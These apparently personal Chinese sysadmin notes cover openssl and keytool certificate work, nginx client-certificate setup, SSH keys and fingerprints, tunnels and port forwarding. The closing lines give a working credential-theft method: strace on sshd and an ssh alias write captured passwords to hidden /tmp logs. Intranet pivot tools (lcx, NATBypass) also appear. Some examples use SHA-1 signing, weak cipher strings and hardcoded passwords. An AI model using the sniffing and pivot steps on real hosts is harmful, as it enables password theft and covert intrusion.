ssl_ciphers ALL:!ADH:!EXPORT56:-RC4+RSA:+HIGH:+MEDIUM:!EXP;
ssl_prefer_server_ciphers on;

# 1登录到任意一台安装有openssl工具的Linux机器。
# 2创建工作目录并进入该目录。
mkdir ca
cd ca

# 3创建CA证书的openssl配置文件ca_cert.conf，内容如下：
[ req ]
distinguished_name     = req_distinguished_name
prompt                 = no

[ req_distinguished_name ]
 O                      = ELB

# 4 创建CA证书私钥文件ca.key。
openssl genrsa -out ca.key 2048

# 5创建CA证书的csr请求文件ca.csr。
openssl req -out ca.csr -key ca.key -new -config ./ca_cert.conf

# 6 创建自签名的CA证书ca.crt。
openssl x509 -req -in ca.csr -out ca.crt -sha1 -days 5000 -signkey ca.key

# 1 登录到生成CA证书的服务器。
# 2 创建与CA平级的目录，并进入该目录。
mkdir server
cd server

# 3 创建服务器证书的openssl配置文件server_cert.conf，内容如下
[ req ]
distinguished_name     = req_distinguished_name
prompt                 = no

[ req_distinguished_name ]
 O                      = ELB
 CN                     = www.test.com
#说明：
#CN字段可以根据需求改为服务器对应的域名、IP地址。

# 4 创建服务器证书私钥文件server.key。
openssl genrsa -out server.key 2048

# 5 创建服务器证书的csr请求文件server.csr。
openssl req -new -out server.csr -key server.key -config ./server_cert.conf

# 6 使用CA证书签发服务器证书server.crt。
openssl x509 -req -in server.csr -out server.crt -sha1 -CAcreateserial -days 5000 -CA ../ca/ca.crt -CAkey ../ca/ca.key

# 1 登录到生成CA证书的服务器。
# 2 创建与CA平级的目录，并进入该目录。
mkdir client
cd client

# 3 创建客户端证书的openssl配置文件client_cert.conf，内容如下：
[ req ]
distinguished_name     = req_distinguished_name
prompt                 = no

[ req_distinguished_name ]
 O                      = ELB
 CN                     = www.test.com
#说明：
#CN字段可以根据需求改为对应的域名、IP地址。

# 4 创建客户端证书私钥文件client.key。
openssl genrsa -out client.key 2048

# 5 创建客户端证书的csr请求文件client.csr。
openssl req -out client.csr -key client.key -new -config ./client_cert.conf

# 6 使用CA证书签发客户端证书client.crt。
openssl x509 -req -in client.csr -out client.crt -sha1 -CAcreateserial -days 5000 -CA ../ca/ca.crt -CAkey ../ca/ca.key

# 7 把客户端证书格式转为浏览器可识别的p12格式。
openssl pkcs12 -export -clcerts -in client.crt -inkey client.key -out client.p12

ssl_certificate  /etc/pki/ca_linvo/server/server.crt;     #server公钥
ssl_certificate_key  /etc/pki/ca_linvo/server/server.key; #server私钥
ssl_client_certificate   /etc/pki/ca_linvo/root/ca.crt;   #根级证书公钥，用于验证各个二级client
ssl_verify_client on;
重启Nginx

浏览器导入客户端证书（以Internet Explorer 11为例说明）
1. 把客户端证书从Linux机器导出来，即前面签发的client.p12证书文件。
2. 单击“设置 > Internet选项”，切换到“内容”页签。
3. 单击“证书”，然后单击“导入”，导入client.p12证书文件。

1. 导入客户端证书
把客户端证书client.crt和客户端私钥文件client.key拷贝到新目录，如目录/home/client_cert。

2. 测试验证
在shell界面，输入以下命令，请输入正确的证书地址和密钥文件地址，以及负载均衡器的IP地址和监听器端口(以下用https://XXX.XXX.XXX.XXX:XXX 表示，以实际IP地址和端口为准)。
curl -k --cert /home/client_cert/client.crt --key /home/client_cert/client.key https://XXX.XXX.XXX.XXX:XXX/ -I

如果可以正确获得响应码，说明验证成功

#jks -> pfx
keytool -importkeystore -srckeystore keystore.jks -srcstoretype JKS -deststoretype PKCS12 -destkeystore keystore.p12

#pfx -> jks
keytool -importkeystore -srckeystore keystore.p12 -srcstoretype PKCS12 -deststoretype JKS -destkeystore keystore.jks 
#-deststorepass changeit -alias s1as # 证书默认密码是changeit

# 将证书转换为大多数浏览器都能识别的PKCS12文件
export MARATHON_PKCS_PASSWORD=marathonwowopass
openssl pkcs12 -name marathon  -inkey marathon.key -passin "env:MARATHON_KEY_PASSWORD" -in marathon.crt  -password "env:MARATHON_PKCS_PASSWORD" -export -out marathon.pkcs12

# PKCS12文件转JKS
export MARATHON_JKS_PASSWORD=marathonwowopass
keytool -importkeystore -srckeystore marathon.pkcs12 -srcalias marathon -srcstorepass $MARATHON_PKCS_PASSWORD -srcstoretype PKCS12 -destkeystore marathon.jks -deststorepass $MARATHON_JKS_PASSWORD

[root@xy-spacebridge-nginx001 bin]# ./keytool -importkeystore -srckeystore /root/20190417.p12 -srcstoretype PKCS12 -deststoretype JKS -destkeystore /root/iot.jks
Enter destination keystore password:  目标文件密码
Re-enter new password: 目标文件密码
Enter source keystore password:  p12文件密码
Entry for alias 1 successfully imported.
Import command completed:  1 entries successfully imported, 0 entries failed or cancelled

# 1.PEM格式-->PFX格式
除pem格式的key的密码(输出的密码不输入即可)
openssl rsa -in cert2.key -out cert22.key

# 将KEY格式密钥文件和CRT格式公钥文件转换成PFX格式证书文件。
openssl pkcs12 -export -out server.pfx -inkey server.key -in server.crt
#输出
Enter Export Password:
Verifying - Enter Export Password:
# -passout pass:changeit -name s1as # 该证书默认密码是changeit。

#指定intermedian和CA
openssl pkcs12 -export -out mypkcs12.pfx -inkey my.private.key -in mycert.crt -certfile intermediate.crt -CAfile ca.crt

# 2. PEM格式<--PFX格式
#将PFX格式证书文件转化为KEY格式密钥文件和CRT格式公钥文件

openssl pkcs12 -in server.pfx -out server.pem # server.pem证书文件
#如无需加密pem中私钥，可以添加选项-nodes；

openssl rsa -in server.pem -out server.key # KEY格式密钥文件（server.key）
openssl x509 -in server.pem -out server.crt # CRT格式公钥文件（server.crt）
openssl pkcs12 -in server.pfx -nodes -nokeys -out server.crt # 如无需导出私钥，可以添加选项-nokeys  CRT格式公钥文件（server.crt）

#提取
#提取私钥命令：
openssl pkcs12 -in certname.pfx -nocerts -out key.pem -nodes
#提取证书命令：
openssl pkcs12 -in certname.pfx -nokeys -out cert.pem

-----BEGIN CERTIFICATE-----
Base64–encoded certificate
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
Base64–encoded certificate
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
Base64–encoded certificate
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
Base64–encoded certificate
-----END CERTIFICATE-----

-----BEGIN RSA PRIVATE KEY-----
Base64–encoded private key
-----END RSA PRIVATE KEY-----

#PEM <--DER
openssl x509 -in cert22.cer -inform DER -out cert22.pem -outform PEM
#其它PEM <--DER
openssl rsa -in ca_private.der -inform DER -outform PEM -out ca.key
#PEM <--CER/CRT
openssl x509 -in cert2.cer -out cert2.pem -outform PEM

提取证书：openssl x509 -inform der -in certificate.cer -out certificate.pem
提取私钥：openssl rsa -inform DER -outform PEM -in privatekey.der -out privatekey.pem

#PEM -->DER
openssl x509 -in cert22.pem -inform PEM -out cert22.der -outform DER
#其它PEM -->DER
openssl rsa -in ca.key -outform DER -out ca_private.der
openssl pkcs8 -topk8 -nocrypt -inform PEM -outform DER -in ca.key -out ca_private.der
#PEM -->CER/CRT
openssl x509 -in cert22.pem -out cert22.crt

# PEM --> P7B(PEM--PKCS#7)
openssl crl2pkcs7 -nocrl -certfile certificate.cer -out certificate.p7b -certfile CACert.cer

#PEM <-- P7B(PEM--PKCS#7)
openssl pkcs7 -print_certs -in incertificat.p7b -out outcertificate.cer

# P7B--PFX(PKCS#7--PKCS#12)
openssl pkcs7 -print_certs -in certificate.p7b -out certificate.cer
openssl pkcs12 -export -in certificate.cer -inkey privateKey.key -out certificate.pfx -certfile CACert.cer


# PEM--SPC
openssl crl2pkcs7 -nocrl -certfile venus.pem -outform DER -out venus.spc

# PEM－－PVK（openssl 1.x开始支持）
openssl rsa -in mycert.pem -outform PVK -pvk-strong -out mypvk.pvk
#PEM－－PVK（对于openssl 1.x之前的版本，可以下载pvk转换器后通过以下命令完成）
pvk -in ca.key -out ca.pvk -nocrypt -topvk

[root@jenkins01 ca]# keytool -importcert -v -trustcacerts -alias hdzy -file /root/ca/buy/291996.pem -keystore /root/ca/buy/291996.bks -storetype BKS -providerclass org.bouncycastle.jce.provider.BouncyCastleProvider -providerpath "bcprov-jdk16-1.46.jar" -storepass qianyangyuanwang


是否信任此证书? [否]:        y                
证书已添加到密钥库中

# jks 转 cert
keytool -export -alias cert0001 -keystore trust.jks -storepass 123456 -file cert0001.cer

# cert 转 jks
keytool -import -v -alias cert001 -file cert001.cer -keystore trust.jks -storepass 123456 -noprompt

-genkey 在用户主目录中创建一个默认文件”.keystore”,还会产生一个mykey的别名，mykey中包含用户的公钥、私钥和证书(在没有指定生成位置的情况下,keystore会存在用户系统默认目录)
-alias 产生别名 每个keystore都关联这一个独一无二的alias，这个alias通常不区分大小写
-keystore 指定密钥库的名称(产生的各类信息将不在.keystore文件中)
-keyalg 指定密钥的算法 (如 RSA DSA，默认值为：DSA)
-validity 指定创建的证书有效期多少天(默认 90)
-keysize 指定密钥长度 （默认 1024）
-storepass 指定密钥库的密码(获取keystore信息所需的密码)
-keypass 指定别名条目的密码(私钥的密码)
-dname 指定证书发行者信息 其中： “CN=名字与姓氏,OU=组织单位名称,O=组织名称,L=城市或区域名 称,ST=州或省份名称,C=单位的两字母国家代码”
-list 显示密钥库中的证书信息 keytool -list -v -keystore 指定keystore -storepass 密码
-v 显示密钥库中的证书详细信息
-export 将别名指定的证书导出到文件 keytool -export -alias 需要导出的别名 -keystore 指定keystore -file 指定导出的证书位置及证书名称 -storepass 密码
-file 参数指定导出到文件的文件名
-delete 删除密钥库中某条目 keytool -delete -alias 指定需删除的别 -keystore 指定keystore – storepass 密码
-printcert 查看导出的证书信息 keytool -printcert -file g:\sso\michael.crt
-keypasswd 修改密钥库中指定条目口令 keytool -keypasswd -alias 需修改的别名 -keypass 旧密码 -new 新密码 -storepass keystore密码 -keystore sage
-storepasswd 修改keystore口令 keytool -storepasswd -keystore g:\sso\michael.keystore(需修改口令的keystore) -storepass pwdold(原始密码) -new pwdnew(新密码)
-import 将已签名数字证书导入密钥库 keytool -import -alias 指定导入条目的别名 -keystore 指定keystore -file 需导入的证书

[root@dev-01 hbase-1.1.2]# cd /usr/java/jdk1.8.0_121/bin/
[root@dev-01 bin]# ./keytool

2064873_scf.baidu.net.key 私钥
2064873_scf.baidu.net.pem 证书
转p12文件命令
openssl pkcs12 -export -out 20190417.p12 -inkey 2064873_scf.baidu.net.key -in 2064873_scf.baidu.net.pem 
Enter Export Password:  p12password
Verifying - Enter Export Password: p12password

int bks_version;
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.JELLY_BEAN_MR1) {
    bks_version = R.raw.publickey; //The BKS file
} else {
    bks_version = R.raw.publickey_v1; //The BKS (v-1) file
}
KeyStore ks = KeyStore.getInstance("BKS");
InputStream in = getResources().openRawResource(bks_version);  
ks.load(in, "mypass".toCharArray());

#默认生成PKCS1格式PEM编码私钥
openssl genrsa -out ca.key 2048

# PKCS1 转 PKCS8
openssl pkcs8 -topk8 -nocrypt -in ca.key -out ca_private.pem
# PKCS8 转 PKCS1
openssl rsa -in ca_private.pem -out ca.key

[主机名或IP地址],[可选的端口号] [密钥类型] [公钥内容]

root@VM-8-13-ubuntu:~# cat .ssh/known_hosts
15.207.14.66 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIP4wTKbQiByeDw1xrC4SNcc6x4XBVrj+aFp1iH7lIgZ

#远程查看公钥
ssh-keyscan -t 公然类型 ip或名称

#本地公钥
ll /etc/ssh/ssh_host_e*.pub
ll ~/.ssh/id_rsa.pub

#获取无端ssh公钥
root@VM-8-13-ubuntu:~# ssh-keyscan  -p 22 15.207.14.66
15.207.14.66 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBH8D9w22YKZ9qPtMpPh2UTxwHtblvzYpKveqj5TvtARgLUUmftv72hnDetPDaekBxe3+F776dV9DXThcFSlKIeU=
15.207.14.66 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIP4wTKbQiByeDw1xrC4SNcc6x4XBVrj+aFp1iH7lIgZ

root@VM-8-13-ubuntu:~# ssh-keyscan -t ed25519 -p 22 15.207.14.66
15.207.14.66 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIP4wTKbQiByeDw1xrC4SNcc6x4XBVrj+aFp1iH7lIgZ
root@VM-8-13-ubuntu:~# ssh-keyscan -t ECDSA -p 22 15.207.14.66
15.207.14.66 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBH8D9w22YKZ9qPtMpPh2UTxwHtblvzYpKveqj5TvtARgLUUmftv72hnDetPDaekBxe3+F776dV9DXThcFSlKIeU=

#查看本地公钥
[ec2-user@ip-172-31-5-34 ~]$ cat /etc/ssh/ssh_host_ecdsa_key.pub 
ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBH8D9w22YKZ9qPtMpPh2UTxwHtblvzYpKveqj5TvtARgLUUmftv72hnDetPDaekBxe3+F776dV9DXThcFSlKIeU= [email protected]
[ec2-user@ip-172-31-5-34 ~]$ cat /etc/ssh/ssh_host_ed25519_key.pub 
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIP4wTKbQiByeDw1xrC4SNcc6x4XBVrj+aFp1iH7lIgZ [email protected]

#本地公钥指纹
[ec2-user@ip-172-31-5-34 ~]$ cat /etc/ssh/ssh_host_ed25519_key.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIP4wTKbQiByeDw1xrC4SNcc6x4XBVrj+aFp1iH7lIgZ [email protected]

[ec2-user@ip-172-31-5-34 ~]$ ssh-keygen -E sha256 -lf /etc/ssh/ssh_host_ed25519_key.pub 
256 SHA256:M0Trt36g+uzls7ri1/tUJBUL1h4CrgURYAF61EvTdn0 [email protected] (ED25519)
[ec2-user@ip-172-31-5-34 ~]$ ssh-keygen -E md5 -lf /etc/ssh/ssh_host_ed25519_key.pub 
256 MD5:a3:0a:34:dc:ba:ba:a1:27:59:06:84:2f:e1:ae:38:d5 [email protected] (ED25519)

#远端公钥指纹
root@VM-8-13-ubuntu:~# ssh-keygen -E sha256 -lf ~/.ssh/known_hosts
256 SHA256:M0Trt36g+uzls7ri1/tUJBUL1h4CrgURYAF61EvTdn0 15.207.14.66 (ED25519)
root@VM-8-13-ubuntu:~# ssh-keygen -E md5 -lf ~/.ssh/known_hosts
256 MD5:a3:0a:34:dc:ba:ba:a1:27:59:06:84:2f:e1:ae:38:d5 15.207.14.66 (ED25519)

root@VM-8-13-ubuntu:~# ssh-keyscan -t ED25519 -p 22 15.207.14.66 2>/dev/null | ssh-keygen -E sha256 -lf -
256 SHA256:M0Trt36g+uzls7ri1/tUJBUL1h4CrgURYAF61EvTdn0 15.207.14.66 (ED25519)
root@VM-8-13-ubuntu:~# ssh-keyscan -t ED25519 -p 22 15.207.14.66 2>/dev/null | ssh-keygen -E md5 -lf -
256 MD5:a3:0a:34:dc:ba:ba:a1:27:59:06:84:2f:e1:ae:38:d5 15.207.14.66 (ED25519)

[ec2-user@ip-172-31-5-34 ~]$ cat /etc/ssh/ssh_host_ed25519_key.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIP4wTKbQiByeDw1xrC4SNcc6x4XBVrj+aFp1iH7lIgZ [email protected]

#公钥md5
~# echo 'AAAAC3NzaC1lZDI1NTE5AAAAIIP4wTKbQiByeDw1xrC4SNcc6x4XBVrj+aFp1iH7lIgZ' |base64 -d | md5sum
a30a34dcbabaa1275906842fe1ae38d5  -

#公钥sha256
~# echo 'AAAAC3NzaC1lZDI1NTE5AAAAIIP4wTKbQiByeDw1xrC4SNcc6x4XBVrj+aFp1iH7lIgZ' |base64 -d | shasum -a 256 -b
3344ebb77ea0faece5b3bae2d7fb5424150bd61e02ae051160017ad44bd3767d *-

~# echo 'AAAAC3NzaC1lZDI1NTE5AAAAIIP4wTKbQiByeDw1xrC4SNcc6x4XBVrj+aFp1iH7lIgZ' |base64 -d | shasum -a 256 -b | awk '{print $1}' | xxd -r -p | base64|cut -d '=' -f1
M0Trt36g+uzls7ri1/tUJBUL1h4CrgURYAF61EvTdn0

#计算SHA256，注意到该Hash的编码方式去掉了最后的"="号，需要补足
root@VM-8-13-ubuntu:~# echo 'M0Trt36g+uzls7ri1/tUJBUL1h4CrgURYAF61EvTdn0''=' |base64 -d |xxd -p -c 100
3344ebb77ea0faece5b3bae2d7fb5424150bd61e02ae051160017ad44bd3767d

chmod 600 id_rsa
ssh-keygen -y -f /path/to/private_key > /path/to/public_key.pub
chmod 644 id_rsa.pub

ssh-keygen -m PEM -t rsa -b 4096

# 安装 putty
brew install putty

#通过将密钥转换为PuTTy ppk格式然后再转换为RSA-PEM
# 转换为ppk格式
puttygen demo -o demo.ppk
# 转换为ras-pem格式
puttygen demo.ppk -O private-openssh -o demo.pem

scp [options] SRC... DEST/
#前面是源地址，后面是目标地址

scp [options] [user@]host:/sourcefile /destpath # 从远程拉取 远程有读权限
scp [options] /sourcefile [user@]host:/destpath # 推送到远程 远程有写权限

1.把本地文件/home/a.tar.tz拷贝到远程服务器192.168.0.2上的/home/tmp，连接时使用远程的root用户：
scp /home/a.tar.tz [email protected]:/home/tmp/

2.目标主机不写路径时，表示拷贝到对方的家目录下：
scp /home/a.tar.tz [email protected]

3.把远程文件/home/a.tar.gz拷贝到本机：
scp [email protected]:/home/a.tar.tz # 不接本地目录表示拷贝到当前目录
scp [email protected]:/home/a.tar.tz /tmp # 拷贝到本地/tmp目录下

4.拷贝远程机器的/home/目录到本地/tmp目录下。
scp -r [email protected]:/home/ /tmp

5.从远程主机192.168.100.60拷贝文件到另一台远程主机192.168.100.62上。
scp [email protected]:/tmp/copy.txt [email protected]:/tmp

# 有无 / 问题
rsync -av /etc server1:/tmp     #复制目录和目录下文件
rsync -av /etc/ server1:/tmp    #只复制目录下文件

[root@centos8 ~]#rsync -auv --delete /data/test 10.0.0.7:/data

sftp [user@]host
sftp> help

#~/.ssh/config
Host b-t-s #beijing to singapore  backend
    User jasper-xu
    HostName 3.xx.xx.xx
    IdentityFile ~/tmp/worker/jasper-xu.pem
    LocalForward 9101 4.xx.xx.xx:22
Host s-t-b # singapore to bombay backend
    User jasper-xu
    HostName 127.0.0.1
    Port 9101
    IdentityFile ~/tmp/worker/jasper-xu.pem
    LocalForward 9102 1.xx.xx.xx:22
Host t-ops
    User jasper-xu
    HostName 127.0.0.1
    Port 9102
    IdentityFile ~/tmp/worker/jasper-xu.pem
    LocalForward 8080 172.21.28.207:8080
    LocalForward 8848 172.21.39.120:8848
#----login--
Host bombay  # connnect bombay from local
    User jasper-xu
    HostName 127.0.0.1
    Port 9102
    IdentityFile ~/tmp/worker/jasper-xu.pem
Host 120  # connnect  172.21.39.120 from local
    User jasper-xu
    HostName 172.21.39.120
    #HostName 127.0.0.1
    Port ssh
    IdentityFile ~/tmp/worker/jasper-xu.pem
    ProxyCommand ssh -q -W %h:%p bombay #-q only required on Mac
    RequestTTY yes
    RemoteCommand sudo su -    
# 执行转发
ssh -f -N b-t-s
ssh -f -N s-t-b
ssh -f -N t-ops

# 验证1，登录bombay
ssh  bombay
[jasper-xu@ip-172-21-39-187 ~]$

# 验证2 访问8080
#浏览器访问：http://127.0.0.1:8080

# 验证3 跳板
> ssh 120
[root@ip-172-21-39-120 ~]#



> cat to-bombay.sh
#!/bin/zsh
ps -ef|grep '\-t\-' |awk '{print $2}'|  xargs kill
ssh -f -N b-t-s
ssh -f -N s-t-b
ssh -f -N t-stg

brew install putty

puttygen ~/.ssh/id_rsa -O private-openssh -o a.pem

ssh -MNf 用户名@主机

ssh -p10022 -MNf -L 192.168.1.150:33061:172.16.166.61:3306 [email protected]
ssh -p10022 -MNf -L 192.168.1.150:54323:172.19.196.33:5432 [email protected]
ssh -p10022 -MNf -L 192.168.1.150:33306:172.16.166.13:3306 [email protected]

Host host
ControlPath ~/.ssh/master-%r@%h:%p
ControlMaster no

sshuttle -r user@remote_ip 10.0.0.0/8

vi /etc/sysctl.conf   
  #增加一行 net.ipv4.ip_forward=1
//使数据转发功能生效
sysctl -p

iptables -t nat -A PREROUTING -p tcp --dport 2222 -j REDIRECT --to-port 22

iptables -t nat -A PREROUTING -d 192.168.172.130 -p tcp --dport 8000 -j DNAT --to-destination 192.168.172.131:80
iptables -t nat -A POSTROUTING -d 192.168.172.131 -p tcp --dport 80 -j SNAT --to 192.168.172.130

#清空nat表的所有链
iptables -t nat -F PREROUTING

firewall-cmd --permanent --add-masquerade

firewall-cmd --permanent --add-forward-port=port=12345:proto=tcp:toaddr=192.168.172.131:toport=22

firewall-cmd --reload

wget https://github.com/samhocevar/rinetd/releases/download/v0.73/rinetd-0.73.tar.gz
yum install automake gcc -y
tar xf rinetd-0.73.tar.gz
cd rinetd-0.73/
./bootstrap
./configure
make && make install

0.0.0.0 8080 www.aslibra.com 80
0.0.0.0 3306 192.168.1.77 3306
0.0.0.0 88 127.0.0.1 80

cat <<\EOF >/usr/lib/systemd/system/rinetd.service
[Unit]
Description=rinetd
After=network.target

[Service]
Type=forking
ExecStart=/usr/local/sbin/rinetd -c /etc/rinetd.conf

[Install]
WantedBy=multi-user.target
EOF

systemctl daemon-reload
systemctl enable rinetd

yum install nmap-ncat -y

ncat --sh-exec "ncat 192.168.172.131 80" -l 9876  --keep-open

yum install -y socat

socat TCP4-LISTEN:12345,reuseaddr,fork TCP4:192.168.172.131:22

http://www.vuln.cn/wp-content/uploads/2016/06/lcx_vuln.cn_.zip

./portmap -m 1 -p1 1234 -h2 192.168.172.131 -p2 22
08、portfwd端口转发
portfwd是meterpreter中内置的功能，也提供了单机版，用于TCP/UDP端口转发服务
Github 项目地址：
https://github.com/rssnsj/portfwd
（1）下载编译
git clone https://github.com/rssnsj/portfwd.git
cd portfwd/src
make
（2）将本地的12345端口转发到192.168.172.131：22


./tcpfwd 0.0.0.0:12345 192.168.172.131:22
09、NATBypass端口转发
一款lcx（htran）在golang下的实现
Gihub项目地址：
https://github.com/cw1997/NATBypass
（1）内网主机主动连接外网主机打通隧道
在目标机器上执行：nb -slave 127.0.0.1:3389 公网IP:51
在公网的机器执行：nb -listen 51 3340
在公网主机上连接 127.0.0.1:3340，即可连接上内网机器的3389端口。

(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2> /tmp/.sshd.log &)

# 查找用户名和密码
grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log

# 结果形式如下
[pid  2401] 22:34:34 read(6, "\10\0\0\0\4root", 9) = 9
[pid  2401] 22:34:34 read(6, "\4\0\0\0\16ssh-connection\0\0\0\0\0\0\0\0", 27) = 27
[pid  2401] 22:34:34 read(6, "\f\0\0\0\4toor", 9) = 9

# 添加命令别名
vi ~/.bashrc或者/etc/bashrc
alias ssh='strace -f -e trace=read,write -o /tmp/.ssh-`date '+%d%h%m%s'`.log -s 32 ssh'
# 使命令别名立即生效
source ~/.bashrc

grep -A 9 'password' .ssh-25Sep091601017212.log